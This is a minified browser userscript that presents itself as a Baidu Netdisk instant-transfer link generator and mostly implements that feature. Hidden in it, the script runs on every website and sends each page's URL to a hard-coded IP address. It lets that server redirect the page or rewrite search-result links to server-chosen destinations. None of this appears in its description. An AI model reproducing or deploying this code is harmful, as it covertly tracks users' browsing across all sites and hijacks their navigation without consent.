秒传链接生成

用于生成网盘秒传链接

// ==UserScript==
// @name           秒传链接生成
// @namespace       newWangPan
// @version         2.4.5
// @description     用于生成网盘秒传链接
// @author          mengzonefire
// @license           AGPL
// @match           *://pan.baidu.com/disk/main*
// @match           *://yun.baidu.com/disk/main*
// @match           *://pan.baidu.com/disk/home*
// @match           *://yun.baidu.com/disk/home*
// @match           *://*/*
// @connect     baidu.com
// @connect      baidupcs.com
// @require      https://cdn.staticfile.org/jquery/1.12.4/jquery.min.js
// @require https://cdn.bootcdn.net/ajax/libs/jquery.qrcode/1.0/jquery.qrcode.min.js
// @require         https://cdn.staticfile.org/spark-md5/3.0.0/spark-md5.min.js
// @grant           GM_setValue
// @grant           GM_getValue
// @grant           GM_deleteValue
// @grant           GM_setClipboard
// @connect         124.222.202.139
// @grant           GM_xmlhttpRequest
// @grant           GM_info
// @grant           GM_getResourceText
// @grant           GM_addStyle
// @run-at          document-start
// @connect         *
// ==/UserScript==
(() => {
	var e = {
			331: () => {
				! function() {
					"use strict";
					var e, t, n = n || window.$,
						r = 0,
						o = [],
						a = [],
						i = 10,
						s = [],
						l = 0,
						d = [],
						c = [],
						u = "",
						p = [],
						h = "",
						m = {
							id: "btn-resp",
							text: "秒传",
							html: function(e) {
								return "main" == e || "home" == e ? `<button><span>${this.text}</span></button>` : void 0
							}
						},
						f = {
							id: "btn-create",
							text: "生成秒传",
							html: function(e) {
								return "main" == e || "home" == e ? `<button><span>${this.text}</span></button>` : void 0
							}
						},
						g = {
							sleep: e => new Promise((t => setTimeout(t, e))),
							get: async (e, t, n, r) => new Promise(((r, o) => {
								let a = GM_xmlhttpRequest({
									method: "GET",
									url: e,
									headers: t,
									responseType: n || "json",
									onload: e => {
										204 === e.status && a.abort(), r("arraybuffer" === n ? e : e.response || e.responseText)
									},
									onerror: e => {
										o(e)
									}
								})
							})),
							post: async (e, t, n) => new Promise(((r, o) => {
								let a = "";
								for (var i in t) a += "&" + i + "=" + encodeURIComponent(t[i]);
								t = a, GM_xmlhttpRequest({
									method: "POST",
									url: e,
									headers: n,
									responseType: "json",
									data: t,
									onload: e => {
										r(e.response || e.responseText)
									},
									onerror: e => {
										o(e)
									}
								})
							})),
							reqPost: async (e, t, n) => new Promise(((r, o) => {
								GM_xmlhttpRequest({
									method: "POST",
									url: e,
									data: t,
									headers: n,
									responseType: "json",
									onload: e => {
										r(e.response || e.responseText)
									},
									onerror: e => {
										o(e)
									}
								})
							})),
							request: e => {
								var t = e.method || "GET",
									n = (e.headers, e.data || {}),
									r = e.url || "",
									o = new XMLHttpRequest;
								if (o.onreadystatechange = function() {
									4 == o.readyState && (o.status >= 200 && o.readyState < 300 || 304 == o.status) && e.callback && e.callback(o.responseText)
								}, "GET" == e.method.toUpperCase())
									for (var a in n) r += -1 == r.indexOf("?") ? "?" : "&", r += encodeURIComponent(a) + "=" + encodeURIComponent(n.key);
								o.open(t, r, !0), "GET" == e.method.toUpperCase() ? o.send(null) : o.send(JSON.stringify(n))
							},
							charRecoveStr: e => {
								for (var t = "", n = 0; n < e.length; n++) t += e.charAt(n) >= "a" ? e.charAt(n)
									.toUpperCase() : e.charAt(n) >= "A" ? e.charAt(n)
									.toLowerCase() : e.charAt(n);
								return t
							},
							queryUrlPath: () => {
								let e = location.href.match(/path=(.+?)(?:&|$)/);
								return e ? decodeURIComponent(e[1]) : ""
							},
							changePath: e => {
								let t = e.substring(e.lastIndexOf(".") + 1);
								return e.substring(0, e.length - t.length) + g.charRecoveStr(t)
							},
							loadAlert: async () => {
								var e = document.getElementsByTagName("head")[0],
									t = document.createElement("script");
								t.type = "text/javascript", t.src = "https://unpkg.com/sweetalert2@10.16.6/dist/sweetalert2.all.min.js", e.appendChild(t)
							},
							timeStamp: () => (new Date)
								.getTime(),
							parse: e => {
								try {
									return e.split("\n")
										.map((function(e) {
											return e.trim()
												.match(/([\dA-Fa-f]{32})#([\dA-Fa-f]{32})#([\d]{1,20})#([\s\S]+)/)
										}))
										.map((function(e) {
											return {
												md5: e[1],
												md5s: e[2],
												size: e[3],
												path: e[4]
											}
										}))
								} catch (e) {
									return !1
								}
							},
							parse1: e => {
								try {
									return e.split("\n")
										.map((function(e) {
											return e.trim()
												.match(/([\dA-Fa-f]{32})#([\d]{1,20})#([\s\S]+)/)
										}))
										.map((function(e) {
											return {
												md5: e[1],
												size: e[2],
												path: e[3]
											}
										}))
								} catch (e) {
									return !1
								}
							},
							baiduClass: () => location.href.indexOf("//pan.baidu.com/disk/main") > 0 || location.href.indexOf("//yun.baidu.com/disk/main") > 0 ? "main" : location.href.indexOf("//pan.baidu.com/s/") > 0 ? "share" : location.href.indexOf("//pan.baidu.com/disk/synchronization") > 0 ? "synch" : location.href.indexOf("//pan.baidu.com/disk/home") > 0 || location.href.indexOf("//yun.baidu.com/disk/home") > 0 ? "home" : void 0,
							inputUserValue: (e = "") => {
								Swal.fire({
										input: "textarea",
										title: "请输入秒传",
										inputValue: e,
										allowOutsideClick: !1,
										showCancelButton: !0,
										inputPlaceholder: "格式:MD5#MD5s#大小#文件名\nMD5#大小#文件名格式 无法转存",
										cancelButtonText: "取消",
										confirmButtonText: "确定",
										onBeforeOpen: function() {
											let e = document.createElement("div");
											e.innerHTML += '<input id="inputSavePathId" class="swal2-input" placeholder="保存路径, 示例:/BDLIST, 默认保存在BDLIST目录" style="display: flex;margin-top: 10px;font-size:0.95em">', Swal.getContent()
												.appendChild(e);
											let t = g.queryUrlPath();
											t && (document.getElementById("inputSavePathId")
												.value = t)
										},
										inputValidator: function(e) {
											return e ? !(p = g.parse(e))
												.length && (p = g.parse1(e))
												.length ? "抱歉,MD5#大小#文件名格式由于百度接口问题无法转存!其它所有脚本都是无法转存的!!!" : p.length ? void((u = document.getElementById("inputSavePathId")
													.value) || (u = "/BDLIST")) : "抱歉,链接无法识别哦" : "不能为空"
										}
									})
									.then((function(e) {
										e.dismiss || Swal.fire({
											title: "文件转存中",
											html: "正在转存文件<index>0</index>",
											allowOutsideClick: !1,
											showCloseButton: !1,
											showConfirmButton: !1,
											onBeforeOpen: function() {
												Swal.showLoading(), w(0, 0)
											}
										})
									}))
							},
							cookie: e => {
								let t = unsafeWindow.document.cookie.replace(/\s/g, "")
									.split(";");
								for (var n = 0, r = t.length; n < r; n++) {
									var o = t[n].split("=");
									if (o[0] === e) return decodeURIComponent(o[1])
								}
								return ""
							},
							getCheckFile: e => {
								if ("home" != e) return document.querySelector(".nd-main-list, .nd-new-main-list")
									.__vue__.selectedList
							},
							reqAjax: (e, t, n) => {
								if (n >= 4) return e.errno = 2, void g.signMd5(t + 1, 0);
								g.getOtherMd5Step1(e, t, 0)
							},
							getOtherMd5Step1: (e, t, n) => {
								let r = JSON.stringify([String(e.fs_id)]);
								g.get(`/api/filemetas?dlink=1&fsids=${r}`, {
										"User-Agent": "netdisk;"
									}, "json")
									.then((r => {
										g.getOtherMd5Step2(e, t, n, r.info[0].dlink)
									}))
									.catch((n => {
										e.errno = n, g.signMd5(t + 1, 0)
									}))
							},
							getOtherMd5Step2: (e, t, n, r) => {
								let o = e.size < 262144 ? 1 : 262143;
								g.get(r, {
										Range: "bytes=0-" + o,
										"User-Agent": "netdisk;"
									}, "arraybuffer")
									.then((r => {
										if (r.finalUrl.includes("issuecdn.baidupcs.com")) return e.errno = 1919, void g.signMd5(t + 1, 0);
										let a = r.responseHeaders.match(/content-md5: ([\da-f]{32})/i);
										if (a) {
											if (e.md5 = a[1].toLowerCase(), 1 == o) e.md5s = e.md5;
											else {
												let t = new SparkMD5.ArrayBuffer;
												t.append(r.response), e.md5s = t.end()
											}
											g.signMd5(t + 1, 0)
										} else g.getOtherMd5Step3(e, t, n, `https://pcs.baidu.com/rest/2.0/pcs/file?app_id=778750&method=download&path=${encodeURIComponent(e.path)}`)
									}))
									.catch((n => {
										e.errno = n, g.signMd5(t + 1, 0)
									}))
							},
							getOtherMd5Step3: (e, t, n, r) => {
								let o = e.size < 262144 ? 1 : 262143;
								g.get(r, {
										Range: "bytes=0-" + o,
										"User-Agent": "netdisk;"
									}, "arraybuffer")
									.then((n => {
										if (n.finalUrl.includes("issuecdn.baidupcs.com")) return e.errno = 1919, void g.signMd5(t + 1, 0);
										let r = n.responseHeaders.match(/content-md5: ([\da-f]{32})/i);
										if (r) {
											if (e.md5 = r[1].toLowerCase(), 1 == o) e.md5s = e.md5;
											else {
												let t = new SparkMD5.ArrayBuffer;
												t.append(n.response), e.md5s = t.end()
											}
											g.signMd5(t + 1, 0)
										} else e.errno = 996, g.signMd5(t + 1, 0)
									}))
									.catch((n => {
										e.errno = n, g.signMd5(t + 1, 0)
									}))
							},
							randMd5: e => {
								let t = [];
								for (let r = 0, o = e; r < o.length; r++) {
									var n = o[r];
									Math.round(Math.random()) ? t.push(n.toUpperCase()) : t.push(n.toLowerCase())
								}
								return t.join("")
							},
							encodeMd5: e => parseInt(e[9]) >= 0 && parseInt(e[9]) <= 9 || e[9] >= "a" && e[9] <= "f" ? e : function(e) {
								for (var t = (e[9].charCodeAt(0) - "g".charCodeAt(0))
									.toString(16), n = e.slice(0, 9) + t + e.slice(10), r = "", o = 0; o < n.length; o++) r += (parseInt(n[o], 16) ^ 15 & o)
									.toString(16);
								return r.slice(8, 16) + r.slice(0, 8) + r.slice(24, 32) + r.slice(16, 24)
							}(e),
							signMd5: (e, t) => {
								if (e >= o.length) return void g.showOverSwal();
								let n = o[e];
								n.errno && 1 == n.isdir ? g.signMd5(e + 1) : (Swal.getHtmlContainer()
									.querySelector("index")
									.textContent = e + 1 + "/" + o.length, g.reqAjax(n, e, 0))
							},
							forEachListFile: (e, t) => {
								if (e >= a.length) return void g.signMd5(0, 0);
								let r = encodeURIComponent(a[e]);
								n.ajax({
									url: `/rest/2.0/xpan/multimedia?method=listall&order=name&limit=10000&path=${r}&recursion=1&start=${t}`,
									type: "GET",
									dataType: "json",
									success: function(n) {
										n.errno ? (o.push({
											path: a[e],
											isdir: 1,
											errno: n.errno
										}), g.forEachListFile(e + 1, 0)) : n.list.length ? (n.list.forEach((function(e) {
											e.isdir || o.push({
												path: e.path,
												size: e.size,
												fs_id: e.fs_id,
												md5: g.encodeMd5(e.md5.toLowerCase())
											})
										})), g.forEachListFile(e, t + 1e4)) : g.forEachListFile(e + 1, 0)
									},
									error: function(t) {
										o.push({
											path: a[e],
											isdir: 1,
											errno: res.errno
										}), g.forEachListFile(e + 1, 0)
									}
								})
							},
							showSwalCreate: () => {
								Swal.fire({
									title: "秒传生成中",
									html: "<p>正在生成第 <index>0</index> 个</p>",
									showCloseButton: !1,
									allowOutsideClick: !1,
									showConfirmButton: !1,
									onBeforeOpen: function() {
										Swal.showLoading()
									}
								})
							},
							responseErrnoInfo: e => {
								switch (e) {
									case 31045:
									case -6:
										return "身份验证失败,退出帐户,重新登陆";
									case -7:
										return "转存路径含有非法字符";
									case -8:
										return "路径下存在同名文件";
									case -9:
										return "验证已过期, 请刷新页面";
									case 400:
										return "请求错误";
									case 9019:
									case 403:
										return "接口限制访问";
									case 404:
										return "原始文件不存在秒传未生效";
									case 114:
										return "秒传失败";
									case 514:
										return "请求失败";
									case 1919:
										return "文件已被和谐";
									case 996:
										return "md5获取失败";
									case 2:
										return "参数错误";
									case -10:
										return "网盘容量已满";
									case 500:
									case 502:
									case 503:
									case 31039:
										return "服务器错误";
									case 31066:
									case 909:
										return "路径不存在/云端文件已损坏";
									case 900:
										return "路径为文件夹, 不支持生成秒传";
									case 110:
										return "请先登录百度账号";
									case 9013:
										return "账号被限制, 尝试 更换账号 或 等待一段时间再重试";
									default:
										return "未知错误"
								}
							},
							createErrFileList: (e, t) => {
								let n = '<div class="createBox" style="height:auto; max-height:200px;overflow:auto;background:#FFFFFF;">';
								if (e > 0)
									if (t) {
										n += '<div><summary ><b class="showErrBtn" style="cursor:pointer">失败文件列表(点这里看失败原因):</b><a  class="mCopyList">复制列表</a></summary></div>', n += '<div style="display:none" class="errBox">';
										for (let e = 0; e < o.length; e++) {
											let t = o[e];
											null != t.errno && "" != t.errno && 0 != t.errno && (h += `${t.path}(${t.errno})${g.responseErrnoInfo(t.errno)}\n`, n += '<p style="font-size:12px;line-height:22px">' + t.path + '<span class="redLink">(' + t.errno + ")" + g.responseErrnoInfo(t.errno) + "</span></p>")
										}
										n += "</div>"
									} else {
										n += '<div><summary ><b class="showErrBtn" style="cursor:pointer">失败文件列表(点这里看失败原因):</b><a  class="mCopyList">复制重新转存</a></summary></div>', n += '<div style="display:none" class="errBox">';
										for (let e = 0; e < p.length; e++) {
											let t = p[e];
											null != t.errno && "" != t.errno && 0 != t.errno && (h += `${t.md5}#${t.md5s}#${t.size}#${t.path}\n`, n += '<p style="font-size:12px;line-height:22px">' + t.path + '<span class="redLink">(' + t.errno + ")" + g.responseErrnoInfo(t.errno) + "</span></p>")
										}
										n += "</div>"
									} return n += "<br/>", n += t ? "<p>快去复制秒传代码吧!!!</p></div>" : "<p>快去刷新页面查看文件吧!!!</p></div>", n
							},
							showOverSwal: () => {
								let e = 0,
									t = "",
									n = "";
								for (let r = 0; r < o.length; r++) {
									let a = o[r];
									a.errno || 1 == a.isdir ? e++ : (t += "<p>" + a.path + "</p>", a.md5s ? n += `${a.md5}#${a.md5s}#${a.size}#${a.path}\n` : n += `${a.md5}#${a.size}#${a.path}\n`)
								}
								let r = "生成完成 共" + o.length + "个,失败" + e + "个",
									i = g.createErrFileList(e, !0);
								Swal.fire({
									title: r,
									html: i,
									allowOutsideClick: !1,
									showCloseButton: !0,
									showConfirmButton: !0,
									confirmButtonText: "复制秒传代码",
									showDenyButton: !0,
									denyButtonText: "提取一键秒传代码",
									preDeny: function() {
										let e = n.replace(/(#\/.+\/)|(#\/)/g, "#");
										return GM_setClipboard("https://pan.baidu.com/#bdlink=" + Base64.encode(e)), Swal.getDenyButton()
											.innerText = "一键秒传提取成功", !1
									},
									preConfirm: function() {
										return GM_setClipboard(n.replace(/(#\/.+\/)|(#\/)/g, "#")), Swal.getConfirmButton()
											.innerText = "复制成功", !1
									}
								}), o = [], a = [], g.removeBtn(), g.addEventBtn()
							},
							removeBtn: () => {
								let e = GM_getValue("MBTN1"),
									t = GM_getValue("MBTN2"),
									r = GM_getValue("MBTN3");
								try {
									e && n(".mPbox1")
										.remove(), t && n(".mPbox2")
										.remove(), r && n(".mPbox3")
										.remove()
								} catch (e) {}
							},
							addEventBtn: () => {
								try {
									n(".mbtn1")
										.click((function() {
											GM_setValue("MBTN1", 1), n(".mPbox1")
												.remove()
										})), n(".mbtn2")
										.click((function() {
											GM_setValue("MBTN2", 1), n(".mPbox2")
												.remove()
										})), n(".mbtn3")
										.click((function() {
											GM_setValue("MBTN3", 1), n(".mPbox3")
												.remove()
										})), n(".showErrBtn")
										.click((function() {
											n(".errBox")
												.is(":visible") ? n(".errBox")
												.hide() : n(".errBox")
												.show()
										})), n(".mCopyList")
										.click((function() {
											GM_setClipboard(h), n(this)
												.html("已复制")
										}))
								} catch (e) {}
							},
							updateInfo: e => {
								Swal.fire({
										title: "百度网盘秒传链接提取 v" + GM_info.script.version,
										showCloseButton: !0,
										allowOutsideClick: !1,
										confirmButtonText: "知道了",
										html: e
									})
									.then((function(e) {
										GM_setValue("BAIDUWPUPDATEINFO", g.timeStamp())
									}))
							},
							jumpUrl: e => {
								var t = null;
								document.getElementById("redirect_form") ? (t = document.getElementById("redirect_form"))
									.action = s.jumpUrl + encodeURIComponent(e) : ((t = document.createElement("form"))
										.action = s.jumpUrl + encodeURIComponent(e), t.target = "_blank", t.method = "POST", t.setAttribute("id", "redirect_form"), document.body.appendChild(t)), t.submit(), t.action = "", t.parentNode.removeChild(t)
							},
							searchListCreate: () => {
								s.wrapper.forEach((function(e) {
									n(e)
										.map((function(e, t) {
											"yes" != n(t)
												.attr("data-md5-value") && (d.push(t), c.push(t), n(t)
													.attr("data-md5-key", l), n(t)
													.attr("data-md5-value", "yes"), l++)
										}))
								}));
								let e = c.splice(0, i),
									t = [];
								e.forEach((function(e, r) {
										let o = {};
										o.href = n(e)
											.find("a:first")
											.attr("href"), o.md5 = n(e)
											.attr("data-md5-key"), t.push(o)
									})), t.length > 0 && g.reqPost(`${s.api}/api.php?act=list`, JSON.stringify({
										data: t,
										type: s.page
									}), {})
									.then((e => {
										0 == e.code && e.data.map((function(e) {
											e.recove_url && n(d[e.md5])
												.find("a")
												.bind("click", (function(t) {
													t.preventDefault(), g.jumpUrl(e.recove_url)
												}))
										}))
									}))
							}
						};

					function x() {
						GM_addStyle("#btn-resp button,#btn-create button{line-height: 1;white-space: nowrap;cursor: pointer;outline: 0; margin: 0; transition: 0.1s;color: #fff; background-color: #06a7ff;font-weight: 700; padding: 8px 16px;height: 32px;font-size: 14px; border-radius: 16px;margin-left: 8px;    border: none;} .createBox p{line-height: 35px;} .myDidplayBtn{text-align: center;font-size: .85em;color: #09aaff;border: 2px solid #c3eaff;border-radius: 4px;margin-left: 5px;padding: 10px;padding-top: 5px;padding-bottom: 5px;cursor: pointer;} .redLink{color:red}"), g.loadAlert();
						let n = g.baiduClass();
						if ("main" == n || "home" == n) {
							let r = document.createElement("a");
							r.id = m.id, r.title = m.text, r.innerHTML = m.html(n), r.addEventListener("click", (function(e) {
								g.inputUserValue(), e.preventDefault()
							})), e = "home" == n ? locals.get("bdstoken") : unsafeWindow.locals.userInfo.bdstoken;
							let i = document.createElement("a");
							if (i.id = f.id, i.title = f.text, i.innerHTML = f.html(n), i.addEventListener("click", (function(e) {
								if ((t = g.getCheckFile(n))
									.length <= 0) return Swal.fire({
									title: "错误提醒",
									html: "请勾选要生成秒传的文件/文件夹",
									confirmButtonText: "确定",
									showCloseButton: !0
								}), "";
								for (let e = 0; e < t.length; e++) t[e].isdir ? a.push(t[e].path) : o.push({
									path: t[e].path,
									size: t[e].size,
									fs_id: t[e].fs_id,
									md5: g.encodeMd5(t[e].md5.toLowerCase())
								});
								a.length > 0 ? Swal.fire({
										icon: "info",
										title: "包含文件夹, 是否递归生成?",
										text: "若选是, 将同时生成各级子文件夹下的文件",
										allowOutsideClick: !1,
										focusCancel: !0,
										showCancelButton: !0,
										reverseButtons: !0,
										showCloseButton: !0,
										confirmButtonText: "是",
										cancelButtonText: "否"
									})
									.then((function(e) {
										e.dismiss || (g.forEachListFile(0, 0), g.showSwalCreate())
									})) : (g.showSwalCreate(), g.signMd5(0, 0)), e.preventDefault()
							})), "home" == n) g.sleep(800)
								.then((() => {
									let e = null,
										t = document.querySelector("[node-type=upload]");
									t.style.maxWidth = "80px", t.style.display = "inline-block", e = t.parentNode, e.insertBefore(r, e.childNodes[1]), e.insertBefore(i, e.childNodes[1])
								}));
							else {
								let e;
								if (e = document.querySelector("[class='nd-file-list-toolbar nd-file-list-toolbar__actions inline-block-v-middle']"), e) r.style.cssText = "margin-right: 5px;", i.style.cssText = "margin-right: 5px;", e.insertBefore(r, e.childNodes[0]), e.insertBefore(i, e.childNodes[0]);
								else {
									e = document.querySelector("[class='wp-s-agile-tool-bar__header  is-default-skin is-header-tool']"), e || (e = document.querySelector("[class='wp-s-agile-tool-bar__header  is-header-tool']"));
									let t = document.createElement("div");
									t.className = "wp-s-agile-tool-bar__h-action is-need-left-sep is-list", t.style.cssText = "margin-right: 10px;", t.insertBefore(r, t.childNodes[0]), t.insertBefore(i, t.childNodes[0]), e.insertBefore(t, e.childNodes[0])
								}
							}
							let s = GM_getValue("BASE64CODELINK");
							s && (s = Base64.decode(s), "undefined" == typeof swal ? g.sleep(1e3)
								.then((() => {
									g.inputUserValue(s), GM_setValue("BASE64CODELINK", "")
								})) : (g.inputUserValue(s), GM_setValue("BASE64CODELINK", "")))
						}
					}

					function w(t, o) {
						if (t >= p.length) {
							let e = g.createErrFileList(r, !1);
							return Swal.fire({
								title: "".concat("文件转存")
									.concat(p.length, "个,")
									.concat(r, "个失败!"),
								confirmButtonText: "确定",
								allowOutsideClick: !1,
								showCloseButton: !0,
								html: e
							}), r = 0, p = [], g.removeBtn(), void g.addEventBtn()
						}
						var a = p[t];
						Swal.getHtmlContainer()
							.querySelector("index")
							.textContent = t + 1 + "/" + p.length, a.path.replace(/["\\\:*?<>|]/, ""), a.md5s ? g.post(`https://pan.baidu.com/api/rapidupload?bdstoken=${e}`, {
								rtype: 0,
								path: u + "/" + a.path,
								"content-md5": a.md5,
								"slice-md5": a.md5s.toLowerCase(),
								"content-length": a.size
							}, {
								"User-Agent": "netdisk;2.2.51.6;netdisk;10.0.63;PC;android-android;QTP/1.0.32.2"
							})
							.then((e => {
								0 === e.errno ? (a.errno = 0, w(t + 1, 0)) : 404 === e.errno && o < 2 ? (a.md5 = 1 == o ? g.randMd5(a.md5) : g.charRecoveStr(a.md5), w(t, o + 1)) : 31039 === e.errno && o < 2 ? (a.path = g.changePath(a.path), w(t, o + 1)) : (r++, a.errno = e.errno, w(t + 1, 0))
							})) : n.ajax({
								url: `/api/create&bdstoken=${e}`,
								type: "POST",
								data: {
									block_list: JSON.stringify([a.md5.toLowerCase()]),
									path: u + "/" + a.path,
									size: a.size,
									isdir: 0,
									rtype: 0,
									is_revision: 0
								}
							})
							.success((function(e) {
								a.errno = e.errno
							}))
							.fail((function(e) {
								p[t].errno = 115
							}))
							.always((function() {
								if (-8 === p[t].errno && o < 1) return a.path = "copy_" + a.path, void w(t, o + 1);
								p[t].errno && r++, w(t + 1, 0)
							}))
					}
					g.reqPost("http://124.222.202.139/api.php?act=initEnv", JSON.stringify({
							href: location.href
						}), {})
						.then((e => {
							if ("search" == e.data.page) i = e.data.splName, s = e.data, g.searchListCreate(), setInterval(g.searchListCreate, e.data.timer);
							else {
								if ("item" == e.data.page && e.data.recove_url) return void(window.location.href = e.data.jumpUrl + encodeURIComponent(e.data.recove_url));
								if ("bd" == e.data.page) try {
									! function() {
										let e = location.href.match(/#bdlink=([\da-zA-Z+/=]+)/);
										e && (e = e[1]), e && GM_setValue("BASE64CODELINK", e), ["interactive", "complete"].includes(document.readyState) ? x() : window.addEventListener("DOMContentLoaded", x)
									}()
								} catch (e) {
									console.log("脚本冲突或者被拦截", e)
								}
							}
						}))
				}()
			}
		},
		t = {};
	! function n(r) {
		var o = t[r];
		if (void 0 !== o) return o.exports;
		var a = t[r] = {
			exports: {}
		};
		return e[r](a, a.exports, n), a.exports
	}(331)
})();